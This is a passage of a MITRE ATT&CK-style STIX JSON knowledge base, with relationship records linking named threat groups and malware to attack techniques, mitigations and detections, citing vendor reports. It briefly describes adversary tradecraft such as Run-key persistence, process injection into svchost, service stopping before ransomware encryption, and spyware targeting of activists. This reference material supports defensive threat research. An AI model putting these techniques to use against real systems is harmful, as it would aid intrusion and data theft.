"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db0b0cf9-cb49-43ed-aa61-d4215d1775b8", "type": "relationship", "created": "2022-01-05T15:41:45.937Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/winnti-more-than-just-a-game/37029/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", "source_name": "Kaspersky Winnti April 2013"}], "modified": "2022-01-05T15:41:45.937Z", "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) has used a program named ff.exe to search for specific documents on compromised hosts.(Citation: Kaspersky Winnti April 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db0f9f05-6f76-47c3-81bf-a59d85045188", "type": "relationship", "created": "2020-05-05T19:44:41.806Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.555Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has used port 4050 for C2 communications.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--db13473b-3541-4be6-a5ad-042e83b37e3e", "created": "2022-09-22T21:32:16.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason OperationCuckooBees May 2022", "description": "Cybereason Nocturnus. (2022, May 4). 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Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) tracks `TrustedHosts` and can move laterally to these targets via WinRM.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-14T17:34:32.585Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--db219581-f2fc-45f9-846d-c7e6f6d238ce", "created": "2023-09-21T16:40:28.226Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. 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[RotaJakiro](https://attack.mitre.org/software/S1078) processes can be matched to an associated Advisory Lock, in the `/proc/locks` folder, to ensure it doesn't spawn more than one process.(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--db2307cc-3e11-4b2f-83c8-be57371b9c51", "created": "2023-02-10T18:55:42.429Z", "revoked": false, "external_references": [{"source_name": "HP SVCReady Jun 2022", "description": "Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. 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Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}], "modified": "2019-04-25T02:33:53.494Z", "description": "[HDoor](https://attack.mitre.org/software/S0061) scans to identify open ports on the victim.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db296410-83e6-4716-af90-ae4b7e7f3171", "type": "relationship", "created": "2020-06-26T16:17:18.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved July 16, 2020."}], "modified": "2020-07-16T15:10:35.305Z", "description": "[Bonadan](https://attack.mitre.org/software/S0486) can download additional modules from the C2 server.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db2be919-e747-430b-a7ee-d619a11abd93", "type": "relationship", "created": "2022-03-15T20:02:43.814Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). 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Retrieved March 7, 2022."}], "modified": "2022-03-15T20:02:43.814Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has downloaded additional malware with scheduled tasks.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db2c5201-2ced-482d-913b-8dee1499441a", "type": "relationship", "created": "2020-12-17T02:28:43.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-09-20T16:48:28.235Z", "description": "Configure browsers/applications to regularly delete persistent web cookies.", "relationship_type": "mitigates", "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", "target_ref": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db2e5a57-1854-4925-9b78-422c9b79c130", "type": "relationship", "created": "2021-03-05T18:54:56.741Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}, {"source_name": "PTSecurity Higaisa 2020", "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.741Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used <code>cmd.exe</code> for execution.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--db315985-f1c1-4d7f-a154-c65351602680", "created": "2023-09-22T19:54:26.209Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Crowdstrike TELCO BPO Campaign December 2022", "description": "Parisi, T. (2022, December 2). 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Retrieved August 18, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[EXOTIC LILY](https://attack.mitre.org/groups/G1011)  has uploaded malicious payloads to file-sharing services including TransferNow, TransferXL, WeTransfer, and OneDrive.(Citation: Google EXOTIC LILY March 2022)", "modified": "2022-08-19T19:40:51.937Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--129f2f77-1ab2-4c35-bd5e-21260cee92af", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--db3b37f1-9c85-4e52-bbd7-4b71ad68400d", "type": "relationship", "created": "2019-10-11T16:04:32.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 Oct 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "description": "Carr, N, et all. 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(2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}, {"source_name": "Crowdstrike EvilCorp March 2021", "url": "https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/", "description": "Podlosky, A., Feeley, B. (2021, March 17). INDRIK SPIDER Supersedes WastedLocker with Hades Ransomware to Circumvent OFAC Sanctions. Retrieved September 15, 2021."}], "modified": "2021-10-01T20:31:32.461Z", "description": "(Citation: Crowdstrike Indrik November 2018)(Citation: Crowdstrike EvilCorp March 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcb3ae1c-c1a5-4a28-b206-40f8387804ac", "type": "relationship", "created": "2021-03-01T16:51:08.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amnesty Intl. Ocean Lotus February 2021", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."}], "modified": "2021-09-24T20:24:27.308Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) has collected e-mail addresses for activists and bloggers in order to target them with spyware.(Citation: Amnesty Intl. Ocean Lotus February 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcb733f7-0b36-4b25-82d4-c332810562a7", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.197Z", "description": "Several [Ke3chang](https://attack.mitre.org/groups/G0004) backdoors achieved persistence by adding a Run key.(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcbc4dd1-01e6-4ff6-b21e-572f5074f417", "type": "relationship", "created": "2021-08-16T22:04:42.356Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "win10_asr", "url": "https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction", "description": "Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}], "modified": "2021-10-16T20:11:13.972Z", "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent malware from abusing WMI to attain persistence.(Citation: win10_asr)", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcbe360b-c7d3-45bd-a1ef-a13bc2a562fe", "type": "relationship", "created": "2020-10-21T02:14:05.498Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 CookieMiner Jan 2019", "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "description": "Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved July 22, 2020."}], "modified": "2020-10-21T02:14:05.498Z", "description": "[CookieMiner](https://attack.mitre.org/software/S0492) has used a Unix shell script to run a series of commands targeting macOS.(Citation: Unit42 CookieMiner Jan 2019)", "relationship_type": "uses", "source_ref": "malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcc2c503-25dc-47bb-b9cb-35ce27e73cd2", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. 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Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2020-03-17T00:47:59.899Z", "description": "[CORESHELL](https://attack.mitre.org/software/S0137) has established persistence by creating autostart extensibility point (ASEP) Registry entries in the Run key and other Registry keys, as well as by creating shortcuts in the Internet Explorer Quick Start folder.(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcc531dd-6136-44ac-963b-3ebab0028d96", "type": "relationship", "created": "2020-01-31T12:32:08.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory", "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", "source_name": "Securing bash history"}], "modified": "2022-02-17T13:14:39.878Z", "description": "Making the environment variables associated with command history read only may ensure that the history is preserved.(Citation: Securing bash history)", "relationship_type": "mitigates", "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcca4e73-fa98-4d67-8ed3-590da7a32d43", "type": "relationship", "created": "2021-09-01T17:51:12.108Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary 2021 Threat Detection Report March 2021", "url": "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf?mkt_tok=MDAzLVlSVS0zMTQAAAF_PIlmhNTaG2McG4X_foM-cIr20UfyB12MIQ10W0HbtMRwxGOJaD0Xj6CRTNg_S-8KniRxtf9xzhz_ACvm_TpbJAIgWCV8yIsFgbhb8cuaZA", "description": "Red Canary. (2021, March 31). 2021 Threat Detection Report. Retrieved August 31, 2021."}], "modified": "2021-10-01T17:48:10.649Z", "description": "[esentutl](https://attack.mitre.org/software/S0404) can be used to collect data from local file systems.(Citation: Red Canary 2021 Threat Detection Report March 2021)", "relationship_type": "uses", "source_ref": "tool--c256da91-6dd5-40b2-beeb-ee3b22ab3d27", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dccba6fb-529c-44c9-9d98-bea2bfc43f43", "type": "relationship", "created": "2022-03-21T22:15:27.558Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}, {"source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021", "url": "https://www.glitch-cat.com/blog/green-lambert-and-attack", "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}], "modified": "2022-03-21T22:16:58.712Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) has been disguised as a Growl help file.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcd2acb8-0f4a-4007-88ec-0962d66399cf", "type": "relationship", "created": "2020-11-06T19:39:44.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-06T19:39:44.054Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can save collected system information to a file named \"info\" before exfiltration.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcd5b361-b86b-47c7-8ce8-85918e00a224", "type": "relationship", "created": "2020-10-09T16:24:39.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2020-10-09T16:24:39.921Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has stopped SQL services to ensure it can encrypt any database.(Citation: Sophos Maze VM September 2020) ", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcd99f6a-c554-4b04-a962-dc3a5f89cdf9", "type": "relationship", "created": "2020-12-22T17:02:53.301Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Molerats Dec 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}, {"source_name": "BleepingComputer Molerats Dec 2020", "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020."}], "modified": "2020-12-28T21:12:01.800Z", "description": "[SharpStage](https://attack.mitre.org/software/S0546) can use WMI for execution.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dcda00f6-f5c1-412f-acb1-a431235fc6cc", "type": "relationship", "created": "2021-10-13T17:31:53.815Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky QakBot September 2021", "url": "https://securelist.com/qakbot-technical-analysis/103931/", "description": "Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}], "modified": "2021-10-13T17:31:53.815Z", "description": "[QakBot](https://attack.mitre.org/software/S0650) can execute WMI queries to gather information.(Citation: Kaspersky QakBot September 2021)", "relationship_type": "uses", "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dcdf4518-1248-4549-b536-193ab1848d31", "created": "2023-08-01T18:29:47.545Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Gigamon BADHATCH Jul 2019", "description": "Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.", "url": "https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}, {"source_name": "BitDefender BADHATCH Mar 2021", "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:36:33.466Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can inject itself into a new `svchost.exe -k netsvcs` process using the asynchronous procedure call (APC) queue.(Citation: Gigamon BADHATCH Jul 2019)(Citation: BitDefender BADHATCH Mar 2021) ", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dce1aedd-ea3f-4301-b44b-dae14d411697", "created": "2024-01-18T18:50:09.391Z", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-18T18:50:09.391Z", "description": "[Ninja](https://attack.mitre.org/software/S1100) can change or create the last access or write times.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dce314c1-0f13-4b6e-8732-607357cc9668", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor newly executed processes that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd002813-b9b0-435f-8fb1-ee015c401280", "type": "relationship", "created": "2020-06-10T20:19:59.942Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": 